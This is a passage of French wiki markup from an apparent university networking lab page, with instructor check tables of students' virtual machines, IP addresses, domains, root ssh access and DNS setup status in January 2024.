| IPv4 sur CV : 10.0.69.195, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe7c:2d6a, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle &lt;br /&gt;
|-&lt;br /&gt;
| bogano || Benjamin Nguyen&lt;br /&gt;
| IPv4 sur CV : 10.0.69.245, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe62:6960, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Takobo || Timothé Brenier&lt;br /&gt;
| IPv4 sur CV : 10.0.69.181, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe93:8c48, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Fondor || Florian Vallée&lt;br /&gt;
| IPv4 sur CV : 10.0.69.200, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe2d:82bf, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| hoth || Haitam Blgrim&lt;br /&gt;
| IPv4 sur CV : 10.0.69.157, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee8:4736, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle &lt;br /&gt;
|-&lt;br /&gt;
| Abafar || Amine SELLALI&lt;br /&gt;
| IPv4 sur CV : 10.0.69.233, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feae:bcbb, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Rotia || Rémi Farault&lt;br /&gt;
| IPv4 sur CV : 10.0.69.130, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe2e:ec48, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| jedha || Julien Charleux&lt;br /&gt;
| IPv4 sur CV : 10.0.69.221, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fef6:364f, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Bogden || Black Baptiste&lt;br /&gt;
| IPv4 sur CV : 10.0.69.246, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe67:89fd, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| jiruus || Jeanne Delcourt&lt;br /&gt;
| IPv4 sur CV : 10.0.69.247, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe9c:6f0e, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| exegol || Estelle Godard&lt;br /&gt;
| IPv4 sur CV : 10.0.69.147, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe17:bc38, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Jakku || Jason DELANNOY&lt;br /&gt;
| IPv4 sur CV : 10.0.69.136, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee1:1e4d, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| naboo || Chloé Lemaire&lt;br /&gt;
| IPv4 sur CV : 192.168.18.2, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fef2:7e2, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| geonosis || Gabriel THOMAS&lt;br /&gt;
| IPv4 sur CV : 10.0.69.231, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feb0:b140, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| alderaan || Albin MOUTON&lt;br /&gt;
| IPv4 sur CV : 10.0.69.106, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe97:2114, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| kesh || Konstantin Patrikeev&lt;br /&gt;
| IPv4 sur CV : 10.0.69.222, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe10:e2cb, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| kashyyyk || Maxime BALBASTRE&lt;br /&gt;
| IPv4 sur CV : 10.0.69.240, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feca:73e7, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Felucia || François NAUDOT&lt;br /&gt;
| IPv4 sur CV : 10.0.69.139, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe89:460a, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Machines mandataires.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elèves !! Nom machine !! Configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Elias SIMON &amp;amp; Mathis RIFFAUT || Baloo &lt;br /&gt;
| IPv4 sur CV : 10.0.69.152, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fec8:5379, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Dann RODENBURG &amp;amp; Amine SELLALI || Aladin&lt;br /&gt;
| IPv4 sur CV : 10.0.69.107, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe6b:c000, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Mohammed Halaoui &amp;amp; Rémi Farault || Dingo&lt;br /&gt;
| IPv4 sur CV : 10.0.69.156, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe0d:4f9c, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Benjamin Nguyen &amp;amp; Timothé Brenier || Timon&lt;br /&gt;
| IPv4 sur CV : 10.0.69.104, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fedc:7539, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Florian Vallée &amp;amp; Maxime BALBASTRE || mushu&lt;br /&gt;
| IPv4 sur CV : 10.0.69.160, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe20:8816, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Haitam Blgrim &amp;amp; Black Baptiste || BlancheNeige&lt;br /&gt;
| IPv4 sur CV : 10.0.69.182, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feba:38f4, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Jeanne Delcourt &amp;amp; Estelle Godard || cruella&lt;br /&gt;
| IPv4 sur CV : 10.0.69.108, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee5:ff99, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Jason DELANNOY &amp;amp; Albin MOUTON || Jafar&lt;br /&gt;
| IPv4 sur CV : 10.0.69.171, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe3e:f0bb, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Chloé Lemaire &amp;amp; Gabriel THOMAS || bouh&lt;br /&gt;
| IPv4 sur CV : 192.168.18.1, IPv4 sur SE5 : 193.48.57.180, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe4f:dde2, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| Konstantin Patrikeev &amp;amp; Julien Charleux || judy&lt;br /&gt;
| IPv4 sur CV : 10.0.69.216, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe7d:4762, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| François NAUDOT &amp;amp; Karl HABRE ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Contrôle du 11/01/2024 ===&lt;br /&gt;
&lt;br /&gt;
Il est normal de ne pas avoir d'adresse IPv4 sur la machine de services pour l'interface sur le commutateur virtuel. Par contre, avec mise en place de la mascarade sur la machine mandataire, il doit être possible, pour la machine de services, de se connecter à Internet en IPv4.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elève !! Nom machine !! Interfaces dans SE5 et CV !! Domaine Internet !! Accès &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt; root !! DNS installé&lt;br /&gt;
|-&lt;br /&gt;
| Elom || Elias SIMON&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;elom.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Mustafar|| Mathis RIFFAUT&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;mustafare.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Dagobah|| Dann RODENBURG&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;dagobah.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Motis || Mohammed Halaoui&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;motis.hair&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| bogano || Benjamin Nguyen&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;bogano.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Takobo || Timothé Brenier&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;takobo.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Fondor || Florian Vallée&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;fondor.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| hoth || Haitam Blgrim&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;hoth.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Abafar || Amine SELLALI&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;abafar.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Rotia || Rémi Farault&lt;br /&gt;
| SE5 uniquement || Aucun&lt;br /&gt;
| Ajouté || Non&lt;br /&gt;
|-&lt;br /&gt;
| jedha || Julien Charleux&lt;br /&gt;
| SE5 uniquement || Aucun&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Bogden || Black Baptiste&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;bodgen.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| jiruus || Jeanne Delcourt&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;jiruus.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Ajouté || Non&lt;br /&gt;
|-&lt;br /&gt;
| exegol || Estelle Godard&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;exegol.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Ajouté || Non&lt;br /&gt;
|-&lt;br /&gt;
| Jakku || Jason DELANNOY&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;jakku.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Ajouté || Non&lt;br /&gt;
|-&lt;br /&gt;
| naboo || Chloé Lemaire&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;naboo.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Ajouté || Non&lt;br /&gt;
|-&lt;br /&gt;
| geonosis || Gabriel THOMAS&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;geonosis.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Ajouté || Non&lt;br /&gt;
|-&lt;br /&gt;
| alderaan || Albin MOUTON&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;alderaan.website&amp;lt;/code&amp;gt;&lt;br /&gt;
| Ajouté || Non&lt;br /&gt;
|-&lt;br /&gt;
| kesh || Konstantin Patrikeev&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;kesh.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| kashyyyk || Maxime BALBASTRE&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;kashyyyk.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Felucia || François NAUDOT&lt;br /&gt;
| SE5 uniquement || &amp;lt;code&amp;gt;felucia.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| pelagon || Paul AMOROS&lt;br /&gt;
| activée le 11/01/2024 (IPv6 &amp;lt;code&amp;gt;2001:660:4401:60b0:216:3eff:fe03:2af3&amp;lt;/code&amp;gt;) || &amp;lt;code&amp;gt;pelagon.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Kalee || Karl HABRE&lt;br /&gt;
| pas de machine virtuelle || &amp;lt;code&amp;gt;kalee.lol&amp;lt;/code&amp;gt;&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Machines mandataires.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elèves !! Nom machine !! Commutateur virtuel !! Interfaces dans SE5 et CV !! Accès &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt; root !! DNS installé&lt;br /&gt;
|-&lt;br /&gt;
| Elias SIMON &amp;amp; Mathis RIFFAUT || Baloo &lt;br /&gt;
| Non || Non&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Dann RODENBURG &amp;amp; Amine SELLALI || Aladin&lt;br /&gt;
| Non || Non&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Mohammed Halaoui &amp;amp; Rémi Farault || Dingo&lt;br /&gt;
| Non || Non&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Benjamin Nguyen &amp;amp; Timothé Brenier || Timon&lt;br /&gt;
| Non || Non&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Florian Vallée &amp;amp; Maxime BALBASTRE || mushu&lt;br /&gt;
| Non || Non&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Haitam Blgrim &amp;amp; Black Baptiste || BlancheNeige&lt;br /&gt;
| Non || Non&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| Jeanne Delcourt &amp;amp; Estelle Godard || cruella&lt;br /&gt;
| Non || Non&lt;br /&gt;
| Ajouté || Non&lt;br /&gt;
|-&lt;br /&gt;
| Jason DELANNOY &amp;amp; Albin MOUTON || Jafar&lt;br /&gt;
| Non || Non&lt;br /&gt;
| Ajouté || Non&lt;br /&gt;
|-&lt;br /&gt;
| Chloé Lemaire &amp;amp; Gabriel THOMAS || bouh&lt;br /&gt;
| Oui || Oui&lt;br /&gt;
| Ajouté || Non&lt;br /&gt;
|-&lt;br /&gt;
| Konstantin Patrikeev &amp;amp; Julien Charleux || judy&lt;br /&gt;
| Non || Non&lt;br /&gt;
| Non || Non&lt;br /&gt;
|-&lt;br /&gt;
| François NAUDOT &amp;amp; Karl HABRE || Ursula&lt;br /&gt;
| || &lt;br /&gt;
| || &lt;br /&gt;
|-&lt;br /&gt;
| Paul AMOROS || mandataire inconnu&lt;br /&gt;
| || &lt;br /&gt;
| || &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Contrôle du 14/01/2024 ===&lt;br /&gt;
&lt;br /&gt;
Il est normal, pour les machines de services, de ne pas avoir d'@IPv4 sur le commutateur virtuel.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elève !! Nom machine !! Configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Elom || Elias SIMON&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe0f:b26d, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Mustafar|| Mathis RIFFAUT&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fea9:f79, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Dagobah|| Dann RODENBURG&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe53:7d33, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Motis || Mohammed Halaoui&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe7c:2d6a, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| bogano || Benjamin Nguyen&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe62:6960, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Takobo || Timothé Brenier&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe93:8c48, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Fondor || Florian Vallée&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe2d:82bf, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| hoth || Haitam Blgrim&lt;br /&gt;
| IPv4 sur CV : 10.0.69.157, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee8:4736, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, &amp;lt;code&amp;gt;bind9&amp;lt;/code&amp;gt; installé pas plus.&lt;br /&gt;
|-&lt;br /&gt;
| Abafar || Amine SELLALI&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feae:bcbb, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Rotia || Rémi Farault&lt;br /&gt;
| IPv4 sur CV : 10.0.69.130, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe2e:ec48, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| jedha || Julien Charleux&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fef6:364f, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Bogden || Black Baptiste&lt;br /&gt;
| IPv4 sur CV : 10.0.69.246, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe67:89fd, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| jiruus || Jeanne Delcourt&lt;br /&gt;
| IPv4 sur CV : 192.168.19.3, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe9c:6f0e, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS fonctionnel.&lt;br /&gt;
|-&lt;br /&gt;
| exegol || Estelle Godard&lt;br /&gt;
| IPv4 sur CV : 192.168.19.2, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe17:bc38, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS fonctionnel.&lt;br /&gt;
|-&lt;br /&gt;
| Jakku || Jason DELANNOY&lt;br /&gt;
| IPv4 sur CV : 10.0.69.136, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fee1:1e4d, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS fonctionnel.&lt;br /&gt;
|-&lt;br /&gt;
| naboo || Chloé Lemaire&lt;br /&gt;
| IPv4 sur CV : 192.168.18.2, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fef2:7e2, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS fonctionnel.&lt;br /&gt;
|-&lt;br /&gt;
| geonosis || Gabriel THOMAS&lt;br /&gt;
| IPv4 sur CV : 192.168.18.3, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feb0:b140, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, serveur DNS fonctionnel (aide massive).&lt;br /&gt;
|-&lt;br /&gt;
| alderaan || Albin MOUTON&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe97:2114, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| kesh || Konstantin Patrikeev&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe10:e2cb, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| kashyyyk || Maxime BALBASTRE&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:feca:73e7, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Felucia || François NAUDOT&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe89:460a, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| pelagon || Paul Amoros&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe03:2af3, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| endor || Maël Delaby&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe5f:ebac, connexion à Internet en IPv4 possible, connexion à Internet en IPv6 possible, résolution DNS fonctionnelle, serveur DNS fonctionnel (mauvais domaine).&lt;br /&gt;
|-&lt;br /&gt;
| Kalee || Karl Harbre&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe45:42ed, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Machines mandataires.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elèves !! Nom machine !! Configuration IP&lt;br /&gt;
|-&lt;br /&gt;
| Elias SIMON &amp;amp; Mathis RIFFAUT || Baloo &lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fec8:5379, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Dann RODENBURG &amp;amp; Amine SELLALI || Aladin&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe6b:c000, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Mohammed Halaoui &amp;amp; Rémi Farault || Dingo&lt;br /&gt;
| IPv4 sur CV : 193.48.57.181 10.0.69.156, IPv4 sur SE5 : 193.48.57.181, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe0d:4f9c, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Benjamin Nguyen &amp;amp; Timothé Brenier || Timon&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fedc:7539, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.&lt;br /&gt;
|-&lt;br /&gt;
| Florian Vallée &amp;amp; Maxime BALBASTRE || mushu&lt;br /&gt;
| pas d'IPv4 sur le CV, pas d'IPv4 sur SE5, IPv6 sur SE5 : 2001:660:4401:60b0:216:3eff:fe20:8816, pas de connexion à Internet en IPv4, connexion à Internet en IPv6 possible, pas de résolution DNS fonctionnelle, pas de serveur DNS.pas de serveur DNS.z&lt;br /&gt;
|-&lt;br /&gt;
